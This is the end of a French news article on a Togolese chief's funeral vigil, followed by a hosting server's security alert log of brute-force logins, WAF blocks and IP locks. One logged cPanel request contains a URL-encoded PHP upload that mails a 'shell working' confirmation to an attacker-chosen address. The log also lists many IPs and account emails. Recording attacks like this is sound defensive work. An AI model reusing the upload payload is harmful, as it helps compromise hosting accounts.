h\xc3\xa9ritage, marqu\xc3\xa9 par la promotion des valeurs traditionnelles, l\xe2\x80\x99unit\xc3\xa9 du peuple ew\xc3\xa9 et le service \xc3\xa0 la nation, demeure d\xc3\xa9sormais une source d\xe2\x80\x99inspiration pour les g\xc3\xa9n\xc3\xa9rations pr\xc3\xa9sentes et futures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que la veille de son inhumation, une grande veill\xc3\xa9e fun\xc3\xa8bre en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv s'\xc3\xa9tait tenue toujours \xc3\xa0 nots\xc3\xa9. plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement, cette c\xc3\xa9l\xc3\xa9bration a r\xc3\xa9uni, les fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana ainsi que de la diaspora, les autorit\xc3\xa9s politiques, traditionnelles et administratives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31451,\"width\":\"840px\",\"height\":\"auto\",\"aspectratio\":\"4.630098452883263\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/abace.jpg\" alt=\"\" class=\"wp-image-31451\" style=\"aspect-ratio:4.630098452883263;width:840px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le r\xc3\xa9v\xc3\xa9rend p\xc3\xa8re jean-marie koglo, pr\xc3\xaatre r\xc3\xa9sident \xc3\xa0 la paroisse saint-rapha\xc3\xabl d'ad\xc3\xa9ta, le c\xc3\xa9l\xc3\xa9brant principal a, dans son hom\xc3\xa9lie, invit\xc3\xa9 l'assistance \xc3\xa0 m\xc3\xa9diter sur la vie de foi et de service de sa majest\xc3\xa9 togbui agokoli iv. il a soulign\xc3\xa9 sa fid\xc3\xa9lit\xc3\xa9 aux valeurs \xc3\xa9vang\xc3\xa9liques, son engagement au service de son peuple et son esp\xc3\xa9rance en la vie \xc3\xa9ternelle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, togbui agokoli iv est n\xc3\xa9 en 1940 \xc3\xa0 nots\xc3\xa9, et a consacr\xc3\xa9 sa vie \xc3\xa0 la pr\xc3\xa9servation des traditions ancestrales et \xc3\xa0 la promotion de l'identit\xc3\xa9 culturelle \xc3\xa9w\xc3\xa9. figure respect\xc3\xa9e de la royaut\xc3\xa9 traditionnelle togolaise, il a occup\xc3\xa9 plusieurs hautes responsabilit\xc3\xa9s, notamment celles de chef du canton de nots\xc3\xa8, de pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo, de membre de la commission nationale des droits de l'homme (cndh) et de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr). rassembleur, homme de paix, de sagesse et d'unit\xc3\xa9, il \xc3\xa9tait \xc3\xa9cout\xc3\xa9, suivi et respect\xc3\xa9 au-del\xc3\xa0 de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mc avec an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.219.163
country_id: 1835841
description:
Jun 22 15:45:26 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.219.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.219.163
country_id: 1835841
description:
Jun 22 15:45:36 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.219.163 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.36.220.201
country_id: 6252001
description:
[2026-06-22 15:48:11 +0000] info [cpaneld] 73.36.220.201 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.197.211.223
country_id: 6252001
description:
[2026-06-22 15:48:21 +0000] info [cpaneld] 74.197.211.223 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:48:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248234&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143299 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:48:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039124&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143289 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.245.110.40
country_id: 6252001
description:
[2026-06-22 15:48:55 +0000] info [cpaneld] 96.245.110.40 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:48:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672393&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143310 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.49.77.227
country_id: 3017382
description:
[2026-06-22 15:48:38 +0000] info [cpaneld] 130.49.77.227 - ucaouut "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.121
country_id: 1643084
description:
93.185.162.121 - - [22/Jun/2026:15:51:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195306&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143476 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.129.86
country_id: 3469034
description:
Jun 22 15:51:34 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.129.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.10.98.74
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400.png 600w, http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400-300x200.png 300w, http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400-272x182.png 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-22 15:53:49 dovecot_login authenticator failed for H=(SIEDFC06) [196.170.45.140]:56045: 535 Incorrect authentication data (set_id=k.tete@wages.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 116.212.128.214
country_id: 1831722
description:
116.212.128.214 - - [22/Jun/2026:15:54:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857222&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143639 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:116.212.128.214


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/22/2026:15:55:30 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.191.178
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/938b8c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.86.58
country_id: 226074
description:
Jun 22 15:55:38 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.86.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.68.141
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/177300281 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 15:56:58 +0000] info [cpaneld] 103.65.237.57 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.159.220.166
country_id: 2542007
description:
2026-06-22 15:58:25 dovecot_plain authenticator failed for H=([192.168.217.1]) [105.159.220.166]:53012: 535 Incorrect authentication data (set_id=whmcsadmin@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.115
country_id: 1880251
description:
104.28.166.115 - - [22/Jun/2026:15:58:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920296&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143913 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.3.101.43
country_id: 1643084
description:
182.3.101.43 - - [22/Jun/2026:16:00:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055322&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144020 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.3.101.43


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.227.111
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome.jpeg 555w, http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome-300x209.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome-320x224.jpeg 320w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.223.175
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/evala-2024-faure-gnassingbe-assiste-a-la-grande-finale-de-pya/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:04:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920809&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144254 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:04:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001564&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144255 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.204.100.201
country_id: 290557
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/societe HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.51.89.13
country_id: 3686110
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/partenaire HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: thebutterflytours.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/thebutterflytours.com/pinfo.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-22 16:10:22 dovecot_login authenticator failed for H=(SIEDFC06) [196.170.45.140]:29047: 535 Incorrect authentication data (set_id=k.tete@wages.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: www.luetkenhaus.app
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.luetkenhaus.app/config.json HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.85.8
country_id: 3625428
domain: cloud-et-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tg/wp-content/uploads/2022/10/Magazine-cloudRacks.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.173.118.249
country_id: 1562822
description:
2026-06-22 16:17:50 dovecot_plain authenticator failed for H=(kb2j8ltgvlxfdww1nd58495fwckgknr) [113.173.118.249]:25321: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.64.228
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/09/IMG-20230926-WA0020-696x324-1.jpg 696w, http:/togodailynews.tg/wp-content/uploads/2023/09/IMG-20230926-WA0020-696x324-1-300x140.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:19:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841191&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.24.212.22
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-18.216.24.212.22||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.2.253.128
country_id: 3469034
description:
186.2.253.128 - - [22/Jun/2026:16:20:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856670&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecurite-alimentaire-la-production-cerealiere-est-en-hausse-au-togo-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145198 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/securite-alimentaire-la-production-cerealiere-est-en-hausse-au-togo-2/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.3490.1759 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.2.253.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-06-22 16:22:58 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:57901: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.65.241
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2046272311 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jun 22 16:22:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.145.207.222
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819-300x240.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819-768x614.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-22 16:24:12 dovecot_login authenticator failed for H=(SCRPMKD) [196.170.122.162]:49902: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.215.47.171
country_id: 3017382
description:
86.215.47.171 - - [22/Jun/2026:16:23:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6385515&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145426 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.4058.1041 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.215.47.171


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/22/2026:16:28:02 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.224.27
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7e7356 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.3.228.144
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/498711093 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:33:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581141&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146001 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:33:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197103&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146001 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.147
country_id: 3469034
description:
Jun 22 16:32:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.23.123.32
country_id: 2017370
description:
Jun 22 16:32:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.23.123.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.123.32
country_id: 2017370
description:
2026-06-22 16:32:52 dovecot_plain authenticator failed for H=(1jmdseolwul1va0odkvc1eroufc3m) [89.23.123.32]:50885: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:16:33:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647405&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146026 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 16:34:12 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.73.4
country_id: 6252001
description:
[2026-06-22 16:35:17 +0000] info [cpaneld] 217.181.73.4 - ljrwwgxg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:36:47 +0000] info [cpaneld] 141.95.93.31 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.67.255.60
country_id: 6252001
description:
[2026-06-22 16:37:20 +0000] info [cpaneld] 173.67.255.60 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.131.77.33
country_id: 6252001
description:
[2026-06-22 16:37:24 +0000] info [cpaneld] 216.131.77.33 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.31.196.41
country_id: 290557
domain: togodailynews.tg
description:
